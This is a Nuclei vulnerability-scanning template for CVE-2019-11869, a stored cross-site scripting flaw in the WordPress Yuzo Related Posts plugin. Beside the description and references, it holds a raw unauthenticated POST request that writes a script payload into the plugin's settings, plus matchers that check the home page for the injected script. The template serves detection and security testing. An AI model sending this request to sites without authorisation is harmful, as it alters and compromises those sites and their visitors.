nuclei-templates/http/cves/2019/CVE-2019-11869.yaml

60 lines
2.0 KiB
YAML

id: CVE-2019-11869
info:
name: WordPress Yuzo <5.12.94 - Cross-Site Scripting
author: ganofins
severity: medium
description: |
WordPress Yuzo Related Posts plugin before 5.12.94 is vulnerable to cross-site scripting
because it mistakenly expects that is_admin() verifies that the
request comes from an admin user (it actually only verifies that the
request is for an admin page). An unauthenticated attacker can consequently inject
a payload into the plugin settings, such as the
yuzo_related_post_css_and_style setting.
remediation: |
Update to the latest version of the Yuzo plugin (5.12.94 or higher) to mitigate this vulnerability.
reference:
- https://www.wordfence.com/blog/2019/04/yuzo-related-posts-zero-day-vulnerability-exploited-in-the-wild
- https://wpscan.com/vulnerability/9254
- https://www.wordfence.com/blog/2019/04/yuzo-related-posts-zero-day-vulnerability-exploited-in-the-wild/
- https://wpvulndb.com/vulnerabilities/9254
- https://nvd.nist.gov/vuln/detail/CVE-2019-11869
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2019-11869
cwe-id: CWE-79
epss-score: 0.00321
epss-percentile: 0.66852
cpe: cpe:2.3:a:yuzopro:yuzo:5.12.94:*:*:*:*:wordpress:*:*
metadata:
max-request: 2
vendor: yuzopro
product: yuzo
framework: wordpress
tags: wpscan,cve,cve2019,wordpress,wp-plugin,xss
http:
- raw:
- |
POST /wp-admin/options-general.php?page=yuzo-related-post HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
yuzo_related_post_css_and_style=</style><script>alert(0);</script>
- |
GET / HTTP/1.1
Host: {{Hostname}}
req-condition: true
matchers-condition: and
matchers:
- type: dsl
dsl:
- 'contains(body_2, "<script>alert(0);</script>")'
- type: dsl
dsl:
- "contains(tolower(header_2), 'text/html')"